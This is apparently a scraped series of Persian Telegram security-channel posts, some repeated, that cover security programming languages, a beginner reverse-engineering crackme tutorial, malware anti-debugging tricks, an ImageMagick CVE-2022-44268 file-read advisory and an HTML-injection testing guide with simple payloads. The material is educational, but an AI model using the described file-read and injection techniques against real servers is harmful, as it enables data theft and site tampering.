* کاربردها: ابزار اصلی مایکروسافت برای خودکارسازی و مدیریت سیستمعامل ویندوز. PowerShell به رجیستری ویندوز، WMI (Windows Management Instrumentation) و .NET Framework دسترسی کامل دارد و برای فارنزیک دیجیتال، مدیریت سیاستهای امنیتی و پاسخ به حوادث در محیطهای ویندوزی بسیار قدرتمند است.
* چرا PowerShell؟ برای هر متخصص امنیتی که در اکوسیستم مایکروسافت فعالیت میکند، یادگیری PowerShell یک الزام است.
۴۔ ++C/C : زبانهای سطح پایین برای تحلیل عمیق
این دو زبان به دلیل عملکرد بالا و دسترسی سطح پایین به حافظه، برای تحلیل بدافزار، مهندسی معکوس و توسعه نرمافزارهای امنیتی با کارایی بالا استفاده میشوند.
* کاربردها:
* مهندسی معکوس (Reverse Engineering): بسیاری از نرمافزارها و بدافزارها با ++C/C نوشته شدهاند. برای درک عملکرد آنها در سطح باینری، آشنایی با این زبانها ضروری است.
* تحلیل آسیبپذیریهای حافظه: آسیبپذیریهای کلاسیک مانند سرریز بافر (Buffer Overflow) و Use-After-Free در کدهایی که با این زبانها نوشته شدهاند رایج هستند.
* توسعه روتکیتها و اکسپلویتها: مهاجمان از این زبانها برای نوشتن کدهای مخرب سطح پایین استفاده میکنند و مدافعان نیز برای درک و مقابله با آنها به این دانش نیاز دارند.
* چرا ++C/C ؟
* کنترل کامل بر منابع سیستم: دسترسی مستقیم به حافظه و سختافزار، آنها را برای کارهای بسیار دقیق و حساس به عملکرد ایدهآل میسازد.
* بنیاد و اساس سیستمعاملها: هسته سیستمعاملهای ویندوز و لینوکس با C نوشته شده است.
۵۔ SQL: زبان تعامل با پایگاهداده
اگرچه SQL یک زبان برنامهنویسی کامل نیست، اما برای امنیت سایبری حیاتی است. تقریباً تمام اپلیکیشنها از پایگاه داده برای ذخیره اطلاعات حساس (نام کاربری، رمز عبور، اطلاعات مشتریان) استفاده میکنند.
* کاربردها:
* شناسایی و جلوگیری از حملات تزریق SQL (SQL Injection): این حمله یکی از رایجترین و مخربترین حملات وب است. متخصص امنیت باید بداند چگونه یک کوئری SQL مخرب ساخته میشود تا بتواند از آن جلوگیری کند.
* فارنزیک پایگاه داده: استخراج و تحلیل دادهها از پایگاه دادههای آسیبدیده برای تحقیق در مورد یک نشت اطلاعاتی.
* تست امنیت پایگاه داده: بررسی تنظیمات امنیتی، کنترل دسترسیها و رمزنگاری دادهها در پایگاه داده.
* چرا SQL ؟
* فراگیری: تقریباً تمام سیستمهای مدیریت پایگاه داده (MySQL, PostgreSQL, SQL Server, Oracle) از SQL استفاده میکنند.
* اهمیت دادهها: حفاظت از دادهها هسته اصلی امنیت اطلاعات است و SQL زبان اصلی تعامل با این دادههاست.
زبانهای دیگر که ارزش یادگیری دارند
۔ Go (Golang): این زبان که توسط گوگل توسعه داده شده، به دلیل کارایی بالا، سادگی در برنامهنویسی همزمان (Concurrency) و کامپایل شدن به یک فایل باینری واحد، برای توسعه ابزارهای شبکهای و امنیتی مدرن بسیار محبوب شده است.
۔ PHP: اگرچه محبوبیت آن کاهش یافته، اما هنوز میلیونها وبسایت (مانند وردپرس) با PHP کار میکنند. درک PHP برای تحلیل و امنسازی این سیستمها ضروری است.
۔ Ruby: عمدتاً به دلیل فریمورک قدرتمند Metasploit (که با Ruby نوشته شده) در میان متخصصان تست نفوذ محبوب است.
پس زبان Rust چه میشود؟ چرا نادیده گرفته می شود؟
غیبت Rust در لیست بالا یک چشمپوشی قابل توجه است، به خصوص وقتی صحبت از آینده امنیت سایبری باشد. Rust به سرعت در حال تبدیل شدن به یکی از مهمترین زبانها برای نوشتن نرمافزارهای امن است.
Mr. SAM
* ۔Bash (Bourne Again SHell): * کاربردها: مدیریت سیستمهای لینوکسی، خودکارسازی وظایف مدیریت سرور، تحلیل لاگها، و نوشتن اسکریپتهای ساده برای تست نفوذ. ابزارهای خط فرمان قدرتمند لینوکس مانند grep , awk , sed , nmap , netcat و tcpdump همگی از طریق Bash…
امنیت حافظه (Memory Safety): بزرگترین مزیت Rust این است که کامپایلر آن از بروز دستههای کاملی از آسیبپذیریهای مرتبط با حافظه مانند سرریز بافر (Buffer Overflows)، Use-After-Free، و Null Pointer Dereferences به طور خودکار جلوگیری میکند. اینها همان آسیبپذیریهایی هستند که دهههاست در نرمافزارهای نوشته شده با ++C/C باعث بحرانهای امنیتی بزرگ شدهاند.
عملکرد بالا: Rust سرعتی معادل ++C/C ارائه میدهد، بنابراین میتواند جایگزین مستقیمی برای این زبانها در توسعه سیستمعاملها، مرورگرهای وب، و ابزارهای امنیتی حساس به عملکرد باشد.
همزمانی امن (Safe Concurrency): مدل مالکیت (Ownership) در Rust، نوشتن کدهای چند نخی (Multi-threaded) را بدون خطر بروز Data Races بسیار سادهتر میکند.
پس چرا در لیست نیامده است؟
شیب یادگیری تند: Rust به دلیل مفاهیم جدیدی مانند Ownership و Borrow Checker ، زبانی دشوارتر برای یادگیری نسبت به پایتون است. مقاله احتمالاً روی زبانهایی با مانع ورود کمتر تمرکز کرده است.
اکوسیستم نوپا (در مقایسه با دیگران): اگرچه اکوسیستم Rust به سرعت در حال رشد است، اما هنوز تعداد ابزارهای امنیتی و کتابخانههای بالغ آن به اندازه پایتون یا ++C/C نیست.
تمرکز بر تحلیل کد موجود: بخش بزرگی از کار امنیت سایبری، تحلیل و بررسی کدهایی است که از قبل نوشته شدهاند. در حال حاضر، حجم کدهای نوشته شده با ++C/C و پایتون بسیار بیشتر از Rust است. بنابراین، برای تحلیل بدافزارها و سیستمهای قدیمی، همچنان به
زبان ++C/C نیاز دارید.
نتیجهگیری برای Rust: یادگیری Rust یک سرمایهگذاری استراتژیک برای آینده است. هرچند امروز برای تحلیل سیستمهای موجود به این زبان ++C/C نیاز دارید، اما برای ساختن ابزارها و سیستمهای امن نسل بعد، Rust بهترین انتخاب است. شرکتهای بزرگی مانند مایکروسافت، گوگل و آمازون در حال بازنویسی بخشهای مهمی از زیرساخت خود با Rust هستند.
نتیجهگیری: از کجا شروع کنیم؟
برای یک فرد تازهکار که میخواهد وارد دنیای امنیت سایبری شود ، پایتون بهترین نقطه شروع است. سادگی، کاربردهای گسترده و جامعه بزرگ آن، مسیر یادگیری را هموارتر میکند.
پس از تسلط بر پایتون، مسیر شما به حوزه علاقهتان بستگی دارد:
* علاقهمند به امنیت وب؟ به سراغ جاوا اسکریپت و SQL بروید.
* علاقهمند به مدیریت سیستم و خودکارسازی؟ Bash (برای لینوکس) و PowerShell (برای ویندوز) را یاد بگیرید.
* علاقهمند به تحلیل بدافزار و مهندسی معکوس؟ یادگیری ++C/C و Assembly برای شما ضروری خواهد بود.
دنیای امنیت سایبری پویا و در حال تغییر است. مهمترین مهارت، توانایی یادگیری مستمر و انطباق با فناوریها و تهدیدات جدید است. انتخاب زبان برنامهنویسی مناسب، اولین قدم محکم در این مسیر هیجانانگیز است.
@NullError_ir
عملکرد بالا: Rust سرعتی معادل ++C/C ارائه میدهد، بنابراین میتواند جایگزین مستقیمی برای این زبانها در توسعه سیستمعاملها، مرورگرهای وب، و ابزارهای امنیتی حساس به عملکرد باشد.
همزمانی امن (Safe Concurrency): مدل مالکیت (Ownership) در Rust، نوشتن کدهای چند نخی (Multi-threaded) را بدون خطر بروز Data Races بسیار سادهتر میکند.
پس چرا در لیست نیامده است؟
شیب یادگیری تند: Rust به دلیل مفاهیم جدیدی مانند Ownership و Borrow Checker ، زبانی دشوارتر برای یادگیری نسبت به پایتون است. مقاله احتمالاً روی زبانهایی با مانع ورود کمتر تمرکز کرده است.
اکوسیستم نوپا (در مقایسه با دیگران): اگرچه اکوسیستم Rust به سرعت در حال رشد است، اما هنوز تعداد ابزارهای امنیتی و کتابخانههای بالغ آن به اندازه پایتون یا ++C/C نیست.
تمرکز بر تحلیل کد موجود: بخش بزرگی از کار امنیت سایبری، تحلیل و بررسی کدهایی است که از قبل نوشته شدهاند. در حال حاضر، حجم کدهای نوشته شده با ++C/C و پایتون بسیار بیشتر از Rust است. بنابراین، برای تحلیل بدافزارها و سیستمهای قدیمی، همچنان به
زبان ++C/C نیاز دارید.
نتیجهگیری برای Rust: یادگیری Rust یک سرمایهگذاری استراتژیک برای آینده است. هرچند امروز برای تحلیل سیستمهای موجود به این زبان ++C/C نیاز دارید، اما برای ساختن ابزارها و سیستمهای امن نسل بعد، Rust بهترین انتخاب است. شرکتهای بزرگی مانند مایکروسافت، گوگل و آمازون در حال بازنویسی بخشهای مهمی از زیرساخت خود با Rust هستند.
نتیجهگیری: از کجا شروع کنیم؟
برای یک فرد تازهکار که میخواهد وارد دنیای امنیت سایبری شود ، پایتون بهترین نقطه شروع است. سادگی، کاربردهای گسترده و جامعه بزرگ آن، مسیر یادگیری را هموارتر میکند.
پس از تسلط بر پایتون، مسیر شما به حوزه علاقهتان بستگی دارد:
* علاقهمند به امنیت وب؟ به سراغ جاوا اسکریپت و SQL بروید.
* علاقهمند به مدیریت سیستم و خودکارسازی؟ Bash (برای لینوکس) و PowerShell (برای ویندوز) را یاد بگیرید.
* علاقهمند به تحلیل بدافزار و مهندسی معکوس؟ یادگیری ++C/C و Assembly برای شما ضروری خواهد بود.
دنیای امنیت سایبری پویا و در حال تغییر است. مهمترین مهارت، توانایی یادگیری مستمر و انطباق با فناوریها و تهدیدات جدید است. انتخاب زبان برنامهنویسی مناسب، اولین قدم محکم در این مسیر هیجانانگیز است.
@NullError_ir
تحلیل عمیق آسیبپذیری تصاحب حساب کاربری
(زیرو کلیک) با بهرهبرداری از Punycode
در دنیای امنیت سایبری، آسیبپذیریهای "بدون کلیک" به دلیل ماهیت پنهان و خطرناک خود، همواره از اهمیت ویژهای برخوردار بودهاند. این نوع حملات به مهاجم اجازه میدهند بدون نیاز به هرگونه تعامل از سوی قربانی، تنها با ارسال یک پیام یا دادهی خاص، کنترل سیستم یا حساب کاربری او را به دست بگیرند. به تازگی، یک محقق امنیتی از یک مکانیزم هوشمندانه و نگرانکننده برای تصاحب کامل حساب کاربری در پلتفرم Rocket.Chat پرده برداشت که بر پایهی یک استاندارد قدیمی اما کمتر شناختهشده به نام Punycode عمل میکند.
برای تشریح کامل و فنی این آسیبپذیری به دلیل طولانی بودن مطلب فایل pdf را مطالعه بفرمایید
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
چرا به مهندسی معکوس نیاز داریم؟
تصور کنید با یک فایل اجرایی مشکوک روبرو شدهاید. شما نمیدانید این فایل دقیقاً چه کاری انجام میدهد. آیا اطلاعات شما را سرقت میکند؟ آیا سیستم شما را به بخشی از یک باتنت تبدیل میکند؟ یا شاید یک باجافزار است که منتظر فرصتی برای رمزنگاری فایلهای شماست؟
تحلیل بدافزار از طریق مهندسی معکوس به ما اجازه میدهد تا به این سوالات پاسخ دهیم. با (Decompilation) و (Disassembly) کد، میتوانیم به منطق برنامه پی ببریم، الگوریتمهای آن را درک کنیم و به اهداف نهایی نویسنده آن پی ببریم.
ابزارهای ضروری برای تحلیلگر بدافزار
شما به یک جعبه ابزار مناسب نیاز دارید. این ابزارها به دو دسته اصلی تقسیم میشوند: (Static Analysis) و (Dynamic Analysis)
۱. ابزارهای تحلیل استاتیک
در این نوع تحلیل، ما برنامه را بدون اجرا کردن آن بررسی میکنیم. هدف، بررسی ساختار فایل، رشتههای متنی (Strings)، کتابخانههای استفاده شده (Libraries) و خودِ کدهای اسمبلی است.
۔ Disassemblers :
* ۔IDA Pro/IDA Free: استاندارد طلایی در دنیای مهندسی معکوس. این ابزار قدرتمند قابلیتهای بینظیری برای تحلیل برنامهها ارائه میدهد.
* ۔Ghidra: یک ابزار رایگان و متنباز که توسط NSA (آژانس امنیت ملی آمریکا) توسعه داده شده است. Ghidra یک رقیب جدی برای IDA Pro محسوب میشود و قابلیت Decompilation به زبان شبه C را نیز دارد.
* ۔Radare2/Cutter: یک فریمورک قدرتمند و خط-فرمانی (Command-line) برای مهندسی معکوس است که Cutter واسط گرافیکی آن محسوب میشود.
۔ File Format Analyzers :
* ۔PE-bear/PEStudio: برای تحلیل فایلهای اجرایی ویندوز (Portable Executable) فوقالعاده هستند. با این ابزارها میتوانید هدرها (Headers)، بخشها (Sections)، و توابع Import/Export شده را بررسی کنید.
۲. ابزارهای تحلیل داینامیک
در این روش، بدافزار را در یک محیط کنترلشده و ایزوله (Sandbox) اجرا میکنیم تا رفتار آن را مشاهده و تحلیل کنیم.
* ۔Debuggers: این ابزارها به شما اجازه میدهند تا برنامه را خط به خط اجرا کرده، وضعیت رجیسترها (Registers) و حافظه (Memory) را مشاهده و در نقاط مشخصی از اجرا، آن را متوقف کنید (Breakpoints).
* ۔x64dbg/x32dbg: دیباگرهای مدرن و قدرتمند برای ویندوز که به صورت گسترده توسط تحلیلگران استفاده میشوند.
* ۔WinDbg: دیباگر رسمی مایکروسافت که برای تحلیلهای سطح پایین (Low-level) و کرنل (Kernel) بسیار کارآمد است.
* ۔GDB (GNU Debugger): دیباگر استاندارد در سیستمعاملهای مبتنی بر لینوکس.
۔Monitoring Tools :
* ۔Procmon (Process Monitor): ابزاری از مجموعه Sysinternals که فعالیتهای فایل سیستم، رجیستری و فرآیندهای سیستم را در لحظه نمایش میدهد.
* ۔Wireshark: برای شنود و تحلیل ترافیک شبکه استفاده میشود. با این ابزار میتوانید بفهمید بدافزار با چه سرورهای فرماندهی و کنترلی (C2) ارتباط برقرار میکند.
آشنایی با زبان اسمبلی (Assembly) - زبان ماشین
برای درک عمیق مهندسی معکوس، آشنایی با زبان اسمبلی ضروری است. اسمبلی یک زبان برنامهنویسی سطح پایین است که ارتباط مستقیمی با معماری پردازنده (CPU) دارد. هر دستور در اسمبلی معادل یک دستورالعمل پایهای برای پردازنده است.
برخی از دستورات پایهای که باید بشناسید:
۔*
MOV : دادهها را بین رجیسترها و حافظه جابجا میکند.۔*
ADD / SUB : عملیات جمع و تفریق را انجام میدهند.۔*
JMP (Jump) : پرش به بخش دیگری از کد.۔*
CMP (Compare) : دو مقدار را مقایسه میکند و فلگهای پردازنده را بر اساس نتیجه تنظیم میکند.۔*
JE / JNE (Jump if Equal/Jump if Not Equal) : پرشهای شرطی که بر اساس نتیجه CMP عمل میکنند.۔*
CALL : یک تابع را فراخوانی میکند.۔*
RET (Return) : از یک تابع بازمیگردد.رجیسترهای اصلی در معماری x86 که باید با آنها آشنا باشید:
۔* General Purpose Registers :
۔*
EAX : معمولاً برای نگهداری مقدار بازگشتی از توابع استفاده میشود.۔*
EBX , ECX , EDX : برای مقاصد عمومی.۔*
ESP : اشارهگر پشته (Stack Pointer).۔*
EBP : اشارهگر پایه پشته (Base Pointer).۔*
ESI , EDI : برای عملیات روی رشتهها و دادهها.۔* Instruction Pointer:
۔*
EIP : به آدرس دستور بعدی که باید اجرا شود، اشاره میکند.یک سناریوی عملی: تحلیل یک بدافزار ساده
فرض کنید یک فایل
crackme.exe داریم که میخواهیم آن را تحلیل کنیم. هدف ما پیدا کردن "رمز عبور" صحیح برای اجرای موفقیتآمیز آن است.👇Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
مرحله ۱: تحلیل استاتیک اولیه
1. بررسی رشتهها (Strings): ابتدا فایل را با ابزاری مانند
2. تحلیل با PE-bear: فایل را در
مرحله ۲: تحلیل با Ghidra یا IDA
فایل را در یکی از ابزارهای تحلیلی مانند Ghidra یا IDA باز میکنیم. پس از بارگذاری، به دنبال تابع اصلی برنامه، یعنی
تحلیل کد:
1. دریافت ورودی: برنامه ابتدا با فراخوانی تابع `GetDlgItemTextA`، متنی را که کاربر وارد کرده است، دریافت و در یک فضای مشخص از حافظه (بافر) ذخیره میکند.
2. آمادهسازی برای مقایسه: سپس آدرس بافر ورودی کاربر و آدرس رشتهی
3. مقایسه: تابع
4. تصمیمگیری:
* اگر دو رشته یکسان باشند،
* اگر رشتهها متفاوت باشند،
با تحلیل این قطعه کد، متوجه میشویم که برنامه ورودی کاربر را به صورت مستقیم با رشته
مرحله ۳: تحلیل دینامیک با x64dbg
اگر تحلیل استاتیک کافی نبود، به سراغ دیباگر میرویم.
1. برنامه را در
2. روی تابع
3. برنامه را اجرا کرده و یک رمز عبور تصادفی وارد میکنیم.
4. اجرای برنامه در
این روش به ما اجازه میدهد تا به صورت زنده مقادیر را در حافظه مشاهده کنیم و منطق برنامه را حتی اگر مبهمسازی (Obfuscation) شده باشد، درک کنیم.
1. بررسی رشتهها (Strings): ابتدا فایل را با ابزاری مانند
strings یا در یک ویرایشگر هگز (Hex Editor) باز میکنیم. گاهی اوقات اطلاعات جالبی مانند پیامهای خطا، آدرسهای URL یا حتی خودِ رمز عبور به صورت متنی در فایل وجود دارد. در این مثال، ممکن است رشتههایی مانند "Enter password:" یا "Wrong password!" را پیدا کنیم.2. تحلیل با PE-bear: فایل را در
PE-bear باز میکنیم. به بخش Imports نگاه میکنیم. اگر توابعی مانند MessageBox ، GetDlgItemText یا strcmp (برای مقایسه رشتهها) را ببینیم، میتوانیم حدس بزنیم که برنامه یک رمز عبور را از کاربر دریافت کرده و آن را با یک مقدار صحیح مقایسه میکند.مرحله ۲: تحلیل با Ghidra یا IDA
فایل را در یکی از ابزارهای تحلیلی مانند Ghidra یا IDA باز میکنیم. پس از بارگذاری، به دنبال تابع اصلی برنامه، یعنی
main یا WinMain (برای برنامههای ویندوزی با رابط گرافیکی) میگردیم. با دنبال کردن جریان اجرای برنامه و فراخوانی توابع، به بخشی از کد میرسیم که منطق بررسی رمز عبور در آن قرار دارد. این بخش، پس از کامپایل شدن، احتمالاً کدی شبیه به این خواهد بود:; ... سایر دستورات برنامه ...
; ابتدا فضایی (بافر) برای نگهداری ورودی کاربر آماده میشود
; فرض میکنیم آدرس این بافر در رجیستر EAX قرار گرفته است
LEA eax, [بافر_ورودی]
; آمادهسازی آرگومانها برای فراخوانی تابع دریافت متن از کادر ورودی
PUSH 256 ; آرگومان سوم: حداکثر تعداد کاراکتر برای دریافت
PUSH eax ; آرگومان دوم: آدرس بافری که ورودی در آن ذخیره شود
PUSH [ID_کادر_متن] ; آرگومان اول: شناسه کنترل ورودی متن
CALL GetDlgItemTextA ; دریافت متن ورودی از کاربر
; --- نقطه کلیدی تحلیل ---
; اکنون ورودی کاربر با رمز عبور صحیح مقایسه میشود
PUSH offset "CorrectPassword" ; آرگومان دوم: آدرس رشتهی رمز عبور صحیح
LEA eax, [بافر_ورودی] ; آدرس بافر ورودی کاربر را دوباره در EAX قرار میدهیم
PUSH eax ; آرگومان اول: آدرس رشتهی وارد شده توسط کاربر
CALL strcmp ; فراخوانی تابع مقایسه دو رشته (string compare)
; بررسی نتیجهی بازگشتی از تابع strcmp
ADD esp, 8 ; پاکسازی پشته از آرگومانهایی که ارسال کردیم
TEST eax, eax ; اگر رشتهها برابر باشند، eax صفر خواهد بود
JNZ wrong_password_label ; اگر برابر نباشند (eax غیر صفر است)، به برچسب رمز غلط پرش کن
; ... کد مربوط به نمایش پیام موفقیت آمیز بودن عملیات ...
JMP continue_execution
wrong_password_label:
; ... کد مربوط به نمایش پیام خطا ...
continue_execution:
; ... ادامه اجرای برنامه ...
تحلیل کد:
1. دریافت ورودی: برنامه ابتدا با فراخوانی تابع `GetDlgItemTextA`، متنی را که کاربر وارد کرده است، دریافت و در یک فضای مشخص از حافظه (بافر) ذخیره میکند.
2. آمادهسازی برای مقایسه: سپس آدرس بافر ورودی کاربر و آدرس رشتهی
"CorrectPassword" (که در بخش دیتای برنامه ذخیره شده) را به عنوان آرگومان روی پشته (stack) قرار میدهد.3. مقایسه: تابع
strcmp فراخوانی میشود. این تابع دو رشته را کاراکتر به کاراکتر مقایسه میکند.4. تصمیمگیری:
* اگر دو رشته یکسان باشند،
strcmp مقدار صفر را در رجیستر EAX برمیگرداند. دستور TEST eax, eax این صفر بودن را بررسی میکند.* اگر رشتهها متفاوت باشند،
strcmp مقداری غیر صفر برمیگرداند. در این حالت، دستور JNZ (Jump if Not Zero) باعث میشود اجرای برنامه به بخش wrong_password_label پرش کند که مربوط به نمایش پیام خطاست.با تحلیل این قطعه کد، متوجه میشویم که برنامه ورودی کاربر را به صورت مستقیم با رشته
"CorrectPassword" مقایسه میکند. بنابراین، ما رمز عبور را پیدا کردهایم\! ✅مرحله ۳: تحلیل دینامیک با x64dbg
اگر تحلیل استاتیک کافی نبود، به سراغ دیباگر میرویم.
1. برنامه را در
x64dbg باز میکنیم.2. روی تابع
strcmp یک Breakpoint قرار میدهیم.3. برنامه را اجرا کرده و یک رمز عبور تصادفی وارد میکنیم.
4. اجرای برنامه در
Breakpoint ما متوقف میشود. در این لحظه، میتوانیم به (Stack) نگاه کنیم. دو مقداری که قرار است با هم مقایسه شوند (ورودی ما و رمز عبور صحیح) را به وضوح خواهیم دید.این روش به ما اجازه میدهد تا به صورت زنده مقادیر را در حافظه مشاهده کنیم و منطق برنامه را حتی اگر مبهمسازی (Obfuscation) شده باشد، درک کنیم.
Mr. SAM
مرحله ۱: تحلیل استاتیک اولیه 1. بررسی رشتهها (Strings): ابتدا فایل را با ابزاری مانند strings یا در یک ویرایشگر هگز (Hex Editor) باز میکنیم. گاهی اوقات اطلاعات جالبی مانند پیامهای خطا، آدرسهای URL یا حتی خودِ رمز عبور به صورت متنی در فایل وجود دارد.…
تکنیکهای مبهمسازی (Obfuscation) و راههای مقابله
نویسندگان بدافزار برای سختتر کردن کار تحلیلگران، از تکنیکهای مختلفی استفاده میکنند:
۔* Packing: بدافزار اصلی فشرده یا رمزنگاری شده و توسط یک کد کوچک (Stub) در زمان اجرا بازگشایی (Unpack) میشود. برای مقابله با این تکنیک، باید
۔* Anti-Debugging: بدافزار تلاش میکند تا تشخیص دهد که آیا در حال اجرا تحت یک دیباگر است یا خیر. در این صورت، ممکن است رفتار خود را تغییر داده یا به کلی از اجرا خارج شود. تکنیکهایی مانند بررسی فلگهای خاص یا استفاده از توابع API مانند
۔* Anti-VM: بدافزار تلاش میکند تا بفهمد آیا در یک ماشین مجازی (Virtual Machine) اجرا میشود یا خیر. برای این کار، ممکن است درایورها، فایلها یا کلیدهای رجیستری خاصی را که مربوط به نرمافزارهای مجازیسازی (مانند VMware یا VirtualBox) هستند، بررسی کند.
مقابله با این تکنیکها نیازمند دانش عمیقتر و استفاده از پلاگینها و اسکریپتهای خاص در ابزارهای تحلیلی است.
نتیجهگیری و مسیر یادگیری
مهندسی معکوس یک مهارت پیچیده اما بسیار جذاب و پرقدرت است. این راهنما تنها نقطه شروعی برای ورود به این دنیای شگفتانگیز بود. برای پیشرفت در این حوزه:
1. مبانی را عمیق یاد بگیرید: درک عمیق از معماری کامپیوتر، سیستمعاملها و زبان اسمبلی ضروری است.
2. ابزارها را بشناسید: با ابزارهای مختلف کار کنید و نقاط قوت و ضعف هرکدام را بیاموزید.
3. تمرین، تمرین و باز هم تمرین: از چالشهای CrackMe و نمونه بدافزارهای موجود در پلتفرمهایی مانند
4. کامیونیتی را دنبال کنید: وبلاگها، کنفرانسها (مانند REcon) و مقالات محققان امنیتی را دنبال کنید تا از جدیدترین تکنیکها مطلع شوید.
موفق باشید
@NullError_ir
نویسندگان بدافزار برای سختتر کردن کار تحلیلگران، از تکنیکهای مختلفی استفاده میکنند:
۔* Packing: بدافزار اصلی فشرده یا رمزنگاری شده و توسط یک کد کوچک (Stub) در زمان اجرا بازگشایی (Unpack) میشود. برای مقابله با این تکنیک، باید
Original Entry Point (OEP) را پیدا کرده و حافظه فرآیند را پس از بازگشایی دامپ (Dump) کنیم.۔* Anti-Debugging: بدافزار تلاش میکند تا تشخیص دهد که آیا در حال اجرا تحت یک دیباگر است یا خیر. در این صورت، ممکن است رفتار خود را تغییر داده یا به کلی از اجرا خارج شود. تکنیکهایی مانند بررسی فلگهای خاص یا استفاده از توابع API مانند
IsDebuggerPresent برای این کار استفاده میشوند.۔* Anti-VM: بدافزار تلاش میکند تا بفهمد آیا در یک ماشین مجازی (Virtual Machine) اجرا میشود یا خیر. برای این کار، ممکن است درایورها، فایلها یا کلیدهای رجیستری خاصی را که مربوط به نرمافزارهای مجازیسازی (مانند VMware یا VirtualBox) هستند، بررسی کند.
مقابله با این تکنیکها نیازمند دانش عمیقتر و استفاده از پلاگینها و اسکریپتهای خاص در ابزارهای تحلیلی است.
نتیجهگیری و مسیر یادگیری
مهندسی معکوس یک مهارت پیچیده اما بسیار جذاب و پرقدرت است. این راهنما تنها نقطه شروعی برای ورود به این دنیای شگفتانگیز بود. برای پیشرفت در این حوزه:
1. مبانی را عمیق یاد بگیرید: درک عمیق از معماری کامپیوتر، سیستمعاملها و زبان اسمبلی ضروری است.
2. ابزارها را بشناسید: با ابزارهای مختلف کار کنید و نقاط قوت و ضعف هرکدام را بیاموزید.
3. تمرین، تمرین و باز هم تمرین: از چالشهای CrackMe و نمونه بدافزارهای موجود در پلتفرمهایی مانند
MalwareBazaar برای تمرین استفاده کنید.4. کامیونیتی را دنبال کنید: وبلاگها، کنفرانسها (مانند REcon) و مقالات محققان امنیتی را دنبال کنید تا از جدیدترین تکنیکها مطلع شوید.
موفق باشید
@NullError_ir
#✅ ImageMagick
بهروزرسانی فوری در ابزار چند پلتفرمی ImageMagick
یک آسیبپذیری بسیار خطرناک از نوع (RCE) با شناسه CVE-2022-44268 در ImageMagick کشف شده.
آسیبپذیری به مهاجم اجازه میدهد که با استفاده از یک فایل تصویری PNG دستکاریشده، محتوای فایلهای دلخواه روی سرور را بخواند و آن را به بیرون نشت دهد.
سناریوی حمله به این صورت عمل میکند:
مهاجم یک فایل PNG مخرب ایجاد میکند.
در داخل متادیتای این فایل، مسیری به یک فایل حساس روی سرور (مثلاً /etc/passwd) جاسازی میشود.
قربانی (مثلاً یک وبسایت که از ImageMagick برای آپلود و پردازش تصویر پروفایل کاربران استفاده میکند) این فایل را بارگذاری و پردازش میکند.
کتابخانه ImageMagick هنگام پردازش، فایل مشخصشده در متادیتا را میخواند و محتوای آن را به عنوان بخشی از خروجی تصویر فشردهشده جدید قرار میدهد.
مهاجم با تحلیل تصویر خروجی، میتواند به محتوای فایل حساس دسترسی پیدا کند.
این آسیبپذیری به خودی خود یک RCE مستقیم نیست، اما میتواند با ضعفهای امنیتی دیگر ترکیب شده و منجر به اجرای کد از راه دور و کنترل کامل سیستم شود.
@NullError_ir
بهروزرسانی فوری در ابزار چند پلتفرمی ImageMagick
یک آسیبپذیری بسیار خطرناک از نوع (RCE) با شناسه CVE-2022-44268 در ImageMagick کشف شده.
آسیبپذیری به مهاجم اجازه میدهد که با استفاده از یک فایل تصویری PNG دستکاریشده، محتوای فایلهای دلخواه روی سرور را بخواند و آن را به بیرون نشت دهد.
سناریوی حمله به این صورت عمل میکند:
مهاجم یک فایل PNG مخرب ایجاد میکند.
در داخل متادیتای این فایل، مسیری به یک فایل حساس روی سرور (مثلاً /etc/passwd) جاسازی میشود.
قربانی (مثلاً یک وبسایت که از ImageMagick برای آپلود و پردازش تصویر پروفایل کاربران استفاده میکند) این فایل را بارگذاری و پردازش میکند.
کتابخانه ImageMagick هنگام پردازش، فایل مشخصشده در متادیتا را میخواند و محتوای آن را به عنوان بخشی از خروجی تصویر فشردهشده جدید قرار میدهد.
مهاجم با تحلیل تصویر خروجی، میتواند به محتوای فایل حساس دسترسی پیدا کند.
این آسیبپذیری به خودی خود یک RCE مستقیم نیست، اما میتواند با ضعفهای امنیتی دیگر ترکیب شده و منجر به اجرای کد از راه دور و کنترل کامل سیستم شود.
@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
چگونه وبسایتها را فقط با HTML Injection هک کنیم
در این تحلیل، به بررسی مفاهیم، ارائهی Payload های متنوعتر و تشریح سناریوهای حمله و روشهای مقابله میپردازیم تا مطلبی جامع و تخصصی برای شما فراهم شود.
مقدمه: HTML Injection چیست و چرا اهمیت دارد؟
آسیبپذیری HTML Injection زمانی رخ میدهد که یک اپلیکیشن وب، ورودی کاربر را بدون اعتبارسنجی (Validation) یا پاکسازی (Sanitization) مناسب، مستقیماً در پاسخ HTML خود درج میکند. این ضعف به مهاجم اجازه میدهد تا کدهای HTML (و در موارد پیشرفتهتر JavaScript) دلخواه خود را به صفحه وب تزریق کرده و محتوای نمایش داده شده به کاربران دیگر را دستکاری کند.
برخلاف تصور اولیه، این آسیبپذیری صرفاً یک "مشکل ظاهری" نیست و میتواند به حملات جدیتری مانند Phishing ، Defacement ، Session Hijacking (در صورت ترکیب با XSS) و سرقت اطلاعات حساس منجر شود. در واقع، HTML Injection اغلب به عنوان پله اول برای اجرای حملات پیچیدهتر Cross-Site Scripting (XSS) در نظر گرفته میشود.
شناسایی آسیبپذیری HTML Injection
فرآیند کشف این آسیبپذیری معمولاً شامل شناسایی نقاط ورود داده (Input Vectors) در یک وبسایت است. این نقاط میتوانند هر جایی باشند که کاربر قادر به ارسال داده است، از جمله:
فیلدهای جستجو
فرمهای تماس و ارسال نظر
پارامترهای URL
فیلدهای پروفایل کاربری
تست اولیه:
سادهترین راه برای تست، تزریق یک تگ HTML ساده و بررسی رندر شدن آن در خروجی صفحه است. Payload های ابتدایی میتوانند شامل موارد زیر باشند:
<h1>TEST</h1> :برای بررسی اینکه آیا تگ هدر با موفقیت رندر میشود.
<b>TEST</b> یا <i>TEST</i> : برای تست تگهای قالببندی متن.
<p style="color:red;">TEST</p> :برای بررسی تزریق استایلهای CSS.
اگر پس از ارسال این ورودیها، متن "TEST" به صورت بزرگ، برجسته، کج یا با رنگ قرمز در صفحه ظاهر شود، به این معنی است که اپلیکیشن در برابر HTML Injection آسیبپذیر است.
مثال عملی:
فرض کنید یک وبسایت دارای پارامتر
q در URL برای جستجو است:https://example.com/search?q=my-queryمهاجم میتواند URL را به شکل زیر دستکاری کند:
https://example.com/search?q=<h1>Vulnerability-Found</h1>اگر در صفحهی نتایج، عبارت "Vulnerability-Found" به عنوان یک تیتر
